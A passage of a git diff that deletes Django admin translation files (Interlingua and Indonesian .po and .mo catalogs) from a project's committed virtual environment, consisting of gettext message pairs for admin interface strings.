your spam folder." -msgstr "" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" - -msgid "Please go to the following page and choose a new password:" -msgstr "Per favor va al sequente pagina pro eliger un nove contrasigno:" - -msgid "Your username, in case you've forgotten:" -msgstr "Tu nomine de usator, in caso que tu lo ha oblidate:" - -msgid "Thanks for using our site!" -msgstr "Gratias pro usar nostre sito!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Le equipa de %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we'll email " -"instructions for setting a new one." -msgstr "" - -msgid "Email address:" -msgstr "" - -msgid "Reset my password" -msgstr "Reinitialisar mi contrasigno" - -msgid "All dates" -msgstr "Tote le datas" - -#, python-format -msgid "Select %s" -msgstr "Selige %s" - -#, python-format -msgid "Select %s to change" -msgstr "Selige %s a modificar" - -msgid "Date:" -msgstr "Data:" - -msgid "Time:" -msgstr "Hora:" - -msgid "Lookup" -msgstr "Recerca" - -msgid "Currently:" -msgstr "" - -msgid "Change:" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ia/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ia/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 4c9eccce..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ia/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ia/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ia/LC_MESSAGES/djangojs.po deleted file mode 100644 index 82850978..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ia/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,216 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Martijn Dekker , 2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2016-05-17 23:12+0200\n" -"PO-Revision-Date: 2017-09-19 16:41+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Interlingua (http://www.transifex.com/django/django/language/" -"ia/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ia\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "%s disponibile" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Ecce le lista de %s disponibile. Tu pote seliger alcunes in le quadro " -"sequente; postea clicca le flecha \"Seliger\" inter le duo quadros." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Scribe in iste quadro pro filtrar le lista de %s disponibile." - -msgid "Filter" -msgstr "Filtrar" - -msgid "Choose all" -msgstr "Seliger totes" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Clicca pro seliger tote le %s immediatemente." - -msgid "Choose" -msgstr "Seliger" - -msgid "Remove" -msgstr "Remover" - -#, javascript-format -msgid "Chosen %s" -msgstr "Le %s seligite" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Ecce le lista de %s seligite. Tu pote remover alcunes per seliger los in le " -"quadro sequente e cliccar le flecha \"Remover\" inter le duo quadros." - -msgid "Remove all" -msgstr "Remover totes" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Clicca pro remover tote le %s seligite immediatemente." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s de %(cnt)s seligite" -msgstr[1] "%(sel)s de %(cnt)s seligite" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Il ha cambiamentos non salveguardate in certe campos modificabile. Si tu " -"exeque un action, iste cambiamentos essera perdite." - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" -"Tu ha seligite un action, ma tu non ha salveguardate le cambiamentos in " -"certe campos. Per favor clicca OK pro salveguardar los. Tu debera re-exequer " -"le action." - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Tu ha seligite un action, e tu non ha facite cambiamentos in alcun campo. Tu " -"probabilemente cerca le button Va e non le button Salveguardar." - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" -msgstr[1] "" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -msgstr[1] "" - -msgid "Now" -msgstr "Ora" - -msgid "Choose a Time" -msgstr "" - -msgid "Choose a time" -msgstr "Selige un hora" - -msgid "Midnight" -msgstr "Medienocte" - -msgid "6 a.m." -msgstr "6 a.m." - -msgid "Noon" -msgstr "Mediedie" - -msgid "6 p.m." -msgstr "" - -msgid "Cancel" -msgstr "Cancellar" - -msgid "Today" -msgstr "Hodie" - -msgid "Choose a Date" -msgstr "" - -msgid "Yesterday" -msgstr "Heri" - -msgid "Tomorrow" -msgstr "Deman" - -msgid "January" -msgstr "" - -msgid "February" -msgstr "" - -msgid "March" -msgstr "" - -msgid "April" -msgstr "" - -msgid "May" -msgstr "" - -msgid "June" -msgstr "" - -msgid "July" -msgstr "" - -msgid "August" -msgstr "" - -msgid "September" -msgstr "" - -msgid "October" -msgstr "" - -msgid "November" -msgstr "" - -msgid "December" -msgstr "" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "" - -msgctxt "one letter Monday" -msgid "M" -msgstr "" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "" - -msgctxt "one letter Friday" -msgid "F" -msgstr "" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "" - -msgid "Show" -msgstr "Monstrar" - -msgid "Hide" -msgstr "Celar" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/id/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/id/LC_MESSAGES/django.mo deleted file mode 100644 index c29bbabd..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/id/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/id/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/id/LC_MESSAGES/django.po deleted file mode 100644 index 5a37c648..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/id/LC_MESSAGES/django.po +++ /dev/null @@ -1,791 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Bayu Satiyo , 2024 -# Claude Paroz , 2014 -# Fery Setiawan , 2015-2019,2021-2024 -# Jannis Leidel , 2011 -# M Asep Indrayana , 2015 -# oon arfiandwi (OonID) , 2016,2020 -# rodin , 2011-2013 -# rodin , 2013-2017 -# sag​e , 2019 -# Sutrisno Efendi , 2015 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Fery Setiawan , 2015-2019,2021-2024\n" -"Language-Team: Indonesian (http://app.transifex.com/django/django/language/" -"id/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: id\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Hapus %(verbose_name_plural)s yang dipilih" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Sukses menghapus %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Tidak dapat menghapus %(name)s" - -msgid "Delete multiple objects" -msgstr "Hapus beberapa objek sekaligus" - -msgid "Administration" -msgstr "Administrasi" - -msgid "All" -msgstr "Semua" - -msgid "Yes" -msgstr "Ya" - -msgid "No" -msgstr "Tidak" - -msgid "Unknown" -msgstr "Tidak diketahui" - -msgid "Any date" -msgstr "Kapanpun" - -msgid "Today" -msgstr "Hari ini" - -msgid "Past 7 days" -msgstr "Tujuh hari terakhir" - -msgid "This month" -msgstr "Bulan ini" - -msgid "This year" -msgstr "Tahun ini" - -msgid "No date" -msgstr "Tidak ada tanggal" - -msgid "Has date" -msgstr "Ada tanggal" - -msgid "Empty" -msgstr "Kosong" - -msgid "Not empty" -msgstr "Tidak kosong" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Masukkan nama pengguna %(username)s dan sandi yang benar untuk akun staf. " -"Huruf besar/kecil pada bidang ini berpengaruh." - -msgid "Action:" -msgstr "Aksi:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Tambahkan %(verbose_name)s lagi" - -msgid "Remove" -msgstr "Hapus" - -msgid "Addition" -msgstr "Tambahan" - -msgid "Change" -msgstr "Ubah" - -msgid "Deletion" -msgstr "Penghapusan" - -msgid "action time" -msgstr "waktu aksi" - -msgid "user" -msgstr "pengguna" - -msgid "content type" -msgstr "jenis isi" - -msgid "object id" -msgstr "id objek" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "representasi objek" - -msgid "action flag" -msgstr "jenis aksi" - -msgid "change message" -msgstr "ganti pesan" - -msgid "log entry" -msgstr "entri pencatatan" - -msgid "log entries" -msgstr "entri pencatatan" - -#, python-format -msgid "Added “%(object)s”." -msgstr "“%(object)s” ditambahkan." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "“%(object)s” diubah — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "“%(object)s” dihapus." - -msgid "LogEntry Object" -msgstr "Objek LogEntry" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "{name} “{object}” ditambahkan." - -msgid "Added." -msgstr "Ditambahkan." - -msgid "and" -msgstr "dan" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "{fields} diubah untuk {name} “{object}”." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "{fields} berubah." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "{name} “{object}” dihapus." - -msgid "No fields changed." -msgstr "Tidak ada bidang yang berubah." - -msgid "None" -msgstr "None" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Tekan “Control”, atau “Command” pada Mac, untuk memilih lebih dari satu." - -msgid "Select this object for an action - {}" -msgstr "Pilih objek ini untuk suatu aksi - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} “{obj}” berhasil ditambahkan." - -msgid "You may edit it again below." -msgstr "Anda dapat menyunting itu kembali di bawah." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"{name} “{obj}” berhasil ditambahkan. Anda dapat menambahkan {name} lain di " -"bawah." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"{name} “{obj}” berhasil diubah. Anda dapat mengeditnya kembali di bawah." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"{name} “{obj}” berhasil diubah. Anda dapat menambahkan {name} lain di bawah." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} “{obj}” berhasil diubah." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Objek harus dipilih sebelum dimanipulasi. Tidak ada objek yang berubah." - -msgid "No action selected." -msgstr "Tidak ada aksi yang dipilih." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s “%(obj)s” berhasil dihapus." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s dengan ID “%(key)s” tidak ada. Mungkin telah dihapus?" - -#, python-format -msgid "Add %s" -msgstr "Tambahkan %s" - -#, python-format -msgid "Change %s" -msgstr "Ubah %s" - -#, python-format -msgid "View %s" -msgstr "Lihat %s" - -msgid "Database error" -msgstr "Galat basis data" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s berhasil diubah." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s dipilih" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 dari %(cnt)s dipilih" - -msgid "Delete" -msgstr "Hapus" - -#, python-format -msgid "Change history: %s" -msgstr "Ubah riwayat: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Menghapus %(class_name)s %(instance)s memerlukan penghapusanobjek " -"terlindungi yang terkait sebagai berikut: %(related_objects)s" - -msgid "Django site admin" -msgstr "Admin situs Django" - -msgid "Django administration" -msgstr "Administrasi Django" - -msgid "Site administration" -msgstr "Administrasi situs" - -msgid "Log in" -msgstr "Masuk" - -#, python-format -msgid "%(app)s administration" -msgstr "Administrasi %(app)s" - -msgid "Page not found" -msgstr "Laman tidak ditemukan" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Maaf, laman yang Anda minta tidak ditemukan." - -msgid "Home" -msgstr "Beranda" - -msgid "Server error" -msgstr "Galat server" - -msgid "Server error (500)" -msgstr "Galat server (500)" - -msgid "Server Error (500)" -msgstr "Galat Server (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Terjadi sebuah galat dan telah dilaporkan ke administrator situs melalui " -"surel untuk diperbaiki. Terima kasih atas pengertian Anda." - -msgid "Run the selected action" -msgstr "Jalankan aksi terpilih" - -msgid "Go" -msgstr "Buka" - -msgid "Click here to select the objects across all pages" -msgstr "Klik di sini untuk memilih semua objek pada semua laman" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Pilih seluruh %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Bersihkan pilihan" - -msgid "Breadcrumbs" -msgstr "Breadcrumbs" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Model pada aplikasi %(name)s" - -msgid "Model name" -msgstr "" - -msgid "Add link" -msgstr "" - -msgid "Change or view list link" -msgstr "" - -msgid "Add" -msgstr "Tambah" - -msgid "View" -msgstr "Lihat" - -msgid "You don’t have permission to view or edit anything." -msgstr "Anda tidak memiliki izin untuk melihat atau mengedit apa pun." - -msgid "After you’ve created a user, you’ll be able to edit more user options." -msgstr "" - -msgid "Error:" -msgstr "" - -msgid "Change password" -msgstr "Ganti sandi" - -msgid "Set password" -msgstr "Setel sandi" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Harap perbaiki kesalahan dibawah." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Masukkan sandi baru untuk pengguna %(username)s." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"Tindakan ini akan enable autentifikasi brerdasarkan-sandi " -"untuk pengguna ini." - -msgid "Disable password-based authentication" -msgstr "Tiadakan autentifikasu berdasarkan-sandi" - -msgid "Enable password-based authentication" -msgstr "Adakan autentifikasu berdasarkan-sandi" - -msgid "Skip to main content" -msgstr "Lewati ke isi utama" - -msgid "Welcome," -msgstr "Selamat datang," - -msgid "View site" -msgstr "Lihat situs" - -msgid "Documentation" -msgstr "Dokumentasi" - -msgid "Log out" -msgstr "Keluar" - -#, python-format -msgid "Add %(name)s" -msgstr "Tambahkan %(name)s" - -msgid "History" -msgstr "Riwayat" - -msgid "View on site" -msgstr "Lihat di situs" - -msgid "Filter" -msgstr "Filter" - -msgid "Hide counts" -msgstr "Sembunyikan hitungan" - -msgid "Show counts" -msgstr "Tampilkan hitungan" - -msgid "Clear all filters" -msgstr "Hapus semua penyaringan" - -msgid "Remove from sorting" -msgstr "Dihapus dari pengurutan" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Prioritas pengurutan: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Ubah pengurutan" - -msgid "Toggle theme (current theme: auto)" -msgstr "Ganti tema (tema saat ini: otomatis)" - -msgid "Toggle theme (current theme: light)" -msgstr "Ganti tema (tema saat ini: terang)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Ganti tema (tema saat ini: gelap)" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Menghapus %(object_name)s '%(escaped_object)s' akan menghapus objek lain " -"yang terkait, tetapi akun Anda tidak memiliki izin untuk menghapus objek " -"dengan tipe berikut:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Menghapus %(object_name)s '%(escaped_object)s' memerlukan penghapusan objek " -"terlindungi yang terkait sebagai berikut:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Yakin ingin menghapus %(object_name)s \"%(escaped_object)s\"? Semua objek " -"lain yang terkait juga akan dihapus:" - -msgid "Objects" -msgstr "Objek" - -msgid "Yes, I’m sure" -msgstr "Ya, saya yakin" - -msgid "No, take me back" -msgstr "Tidak, bawa saya kembali" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Menghapus %(objects_name)s terpilih akan menghapus objek yang terkait, " -"tetapi akun Anda tidak memiliki izin untuk menghapus objek dengan tipe " -"berikut:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Menghapus %(objects_name)s terpilih memerlukan penghapusan objek terlindungi " -"yang terkait sebagai berikut:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Yakin akan menghapus %(objects_name)s terpilih? Semua objek berikut beserta " -"objek terkait juga akan dihapus:" - -msgid "Delete?" -msgstr "Hapus?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " Berdasarkan %(filter_title)s " - -msgid "Summary" -msgstr "Ringkasan" - -msgid "Recent actions" -msgstr "Tindakan terbaru" - -msgid "My actions" -msgstr "Tindakan saya" - -msgid "None available" -msgstr "Tidak ada yang tersedia" - -msgid "Added:" -msgstr "Ditambahkan:" - -msgid "Changed:" -msgstr "Berubah:" - -msgid "Deleted:" -msgstr "Dihapus:" - -msgid "Unknown content" -msgstr "Konten tidak diketahui" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Ada masalah dengan instalasi basis data Anda. Pastikan tabel yang sesuai " -"pada basis data telah dibuat dan dapat dibaca oleh pengguna yang sesuai." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Anda diautentikasi sebagai %(username)s, tapi tidak diperbolehkan untuk " -"mengakses halaman ini. Ingin mencoba mengakses menggunakan akun yang lain?" - -msgid "Forgotten your login credentials?" -msgstr "" - -msgid "Toggle navigation" -msgstr "Alihkan navigasi" - -msgid "Sidebar" -msgstr "Sidebar" - -msgid "Start typing to filter…" -msgstr "Mulai mengetik untuk menyaring..." - -msgid "Filter navigation items" -msgstr "Navigasi pencarian barang" - -msgid "Date/time" -msgstr "Tanggal/waktu" - -msgid "User" -msgstr "Pengguna" - -msgid "Action" -msgstr "Aksi" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "masukan" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Objek ini tidak memiliki riwayat perubahan. Mungkin objek ini tidak " -"ditambahkan melalui situs administrasi ini." - -msgid "Show all" -msgstr "Tampilkan semua" - -msgid "Save" -msgstr "Simpan" - -msgid "Popup closing…" -msgstr "Menutup jendela sembulan..." - -msgid "Search" -msgstr "Cari" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s buah" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s total" - -msgid "Save as new" -msgstr "Simpan sebagai baru" - -msgid "Save and add another" -msgstr "Simpan dan tambahkan lagi" - -msgid "Save and continue editing" -msgstr "Simpan dan terus mengedit" - -msgid "Save and view" -msgstr "Simpan dan tampilkan" - -msgid "Close" -msgstr "Tutup" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Ubah %(model)s yang dipilih" - -#, python-format -msgid "Add another %(model)s" -msgstr "Tambahkan %(model)s yang lain" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Hapus %(model)s yang dipilih" - -#, python-format -msgid "View selected %(model)s" -msgstr "Menampilkan %(model)s terpilih" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "" -"Terima kasih untuk meluangkan waktu berkualitas dengan jaringan situs hari " -"ini." - -msgid "Log in again" -msgstr "Masuk kembali" - -msgid "Password change" -msgstr "Ubah sandi" - -msgid "Your password was changed." -msgstr "Sandi Anda telah diubah." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Masukkan sandi lama Anda, demi alasan keamanan, dan masukkan sandi baru Anda " -"dua kali untuk memastikan Anda tidak salah mengetikkannya." - -msgid "Change my password" -msgstr "Ubah sandi saya" - -msgid "Password reset" -msgstr "Setel ulang sandi" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Sandi Anda telah diperbarui. Silakan masuk." - -msgid "Password reset confirmation" -msgstr "Konfirmasi penyetelan ulang sandi" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Masukkan sandi baru dua kali untuk memastikan Anda tidak salah " -"mengetikkannya." - -msgid "New password:" -msgstr "Sandi baru:" - -msgid "Confirm password:" -msgstr "Konfirmasi sandi:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Tautan penyetelan ulang sandi tidak valid. Kemungkinan karena tautan " -"tersebut telah dipakai sebelumnya. Ajukan permintaan penyetelan sandi sekali " -"lagi." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Kami telah mengirimi Anda surel berisi petunjuk untuk mengatur sandi Anda, " -"jika ada akun dengan alamat surel yang sesuai. Anda seharusnya menerima " -"surel tersebut sesaat lagi." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Jika Anda tidak menerima surel, pastikan Anda telah memasukkan alamat yang " -"digunakan saat pendaftaran serta periksa folder spam Anda." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Anda menerima email ini karena Anda meminta penyetelan ulang sandi untuk " -"akun pengguna di %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Kunjungi laman di bawah ini dan ketikkan sandi baru:" - -msgid "In case you’ve forgotten, you are:" -msgstr "" - -msgid "Thanks for using our site!" -msgstr "Terima kasih telah menggunakan situs kami!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Tim %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Lupa sandi Anda? Masukkan alamat surel Anda di bawah ini dan kami akan " -"mengirimkan petunjuk untuk mengatur sandi baru Anda." - -msgid "Email address:" -msgstr "Alamat email:" - -msgid "Reset my password" -msgstr "Setel ulang sandi saya" - -msgid "Select all objects on this page for an action" -msgstr "Pilih semua objek di halaman ini untuk suatu aksi" - -msgid "All dates" -msgstr "Semua tanggal" - -#, python-format -msgid "Select %s" -msgstr "Pilih %s" - -#, python-format -msgid "Select %s to change" -msgstr "Pilih %s untuk diubah" - -#, python-format -msgid "Select %s to view" -msgstr "Pilih %s untuk melihat" - -msgid "Date:" -msgstr "Tanggal:" - -msgid "Time:" -msgstr "Waktu:" - -msgid "Lookup" -msgstr "Cari" - -msgid "Currently:" -msgstr "Saat ini:" - -msgid "Change:" -msgstr "Ubah:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/id/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/id/LC_MESSAGES/djangojs.mo deleted file mode 100644 index d338e9f6..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/id/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/id/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/id/LC_MESSAGES/djangojs.po deleted file mode 100644 index ef55ec24..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/id/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,310 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Fery Setiawan , 2015-2016,2021-2024 -# Jannis Leidel , 2011 -# oon arfiandwi (OonID) , 2020 -# rodin , 2011-2012 -# rodin , 2014,2016 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-25 15:04-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Fery Setiawan , 2015-2016,2021-2024\n" -"Language-Team: Indonesian (http://app.transifex.com/django/django/language/" -"id/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: id\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -#, javascript-format -msgid "Available %s" -msgstr "%s yang tersedia" - -#, javascript-format -msgid "" -"Choose %s by selecting them and then select the \"Choose\" arrow button." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Ketik pada kotak ini untuk menyaring daftar %s yang tersedia." - -msgid "Filter" -msgstr "Filter" - -#, javascript-format -msgid "Choose all %s" -msgstr "" - -#, javascript-format -msgid "Choose selected %s" -msgstr "" - -#, javascript-format -msgid "Remove selected %s" -msgstr "" - -#, javascript-format -msgid "Chosen %s" -msgstr "%s terpilih" - -#, javascript-format -msgid "" -"Remove %s by selecting them and then select the \"Remove\" arrow button." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "Ketik di dalam kotak utnuk menyaring daftar dar %s terpilih." - -msgid "(click to clear)" -msgstr "" - -#, javascript-format -msgid "Remove all %s" -msgstr "" - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s pilihan terpilih tidak muncul" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s dari %(cnt)s terpilih" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Beberapa perubahan bidang yang Anda lakukan belum tersimpan. Perubahan yang " -"telah dilakukan akan hilang." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Anda telah memilih tindakan, tetapi Anda belum menyimpan perubahan ke masing-" -"masing bidang. Silakan klik OK untuk menyimpan. Anda harus menjalankan " -"kembali tindakan tersebut." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Anda telah memilih tindakan, dan Anda belum membuat perubahan apa pun di " -"setiap bidang. Anda mungkin mencari tombol Buka daripada tombol Simpan." - -msgid "Now" -msgstr "Sekarang" - -msgid "Midnight" -msgstr "Tengah malam" - -msgid "6 a.m." -msgstr "6 pagi" - -msgid "Noon" -msgstr "Siang" - -msgid "6 p.m." -msgstr "18.00" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Catatan: Waktu Anda lebih cepat %s jam dibandingkan waktu server." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Catatan: Waktu Anda lebih lambat %s jam dibandingkan waktu server." - -msgid "Choose a Time" -msgstr "Pilih Waktu" - -msgid "Choose a time" -msgstr "Pilih waktu" - -msgid "Cancel" -msgstr "Batal" - -msgid "Today" -msgstr "Hari ini" - -msgid "Choose a Date" -msgstr "Pilih Tanggal" - -msgid "Yesterday" -msgstr "Kemarin" - -msgid "Tomorrow" -msgstr "Besok" - -msgid "January" -msgstr "Januari" - -msgid "February" -msgstr "Februari" - -msgid "March" -msgstr "Maret" - -msgid "April" -msgstr "April" - -msgid "May" -msgstr "Mei" - -msgid "June" -msgstr "Juni" - -msgid "July" -msgstr "Juli" - -msgid "August" -msgstr "Agustus" - -msgid "September" 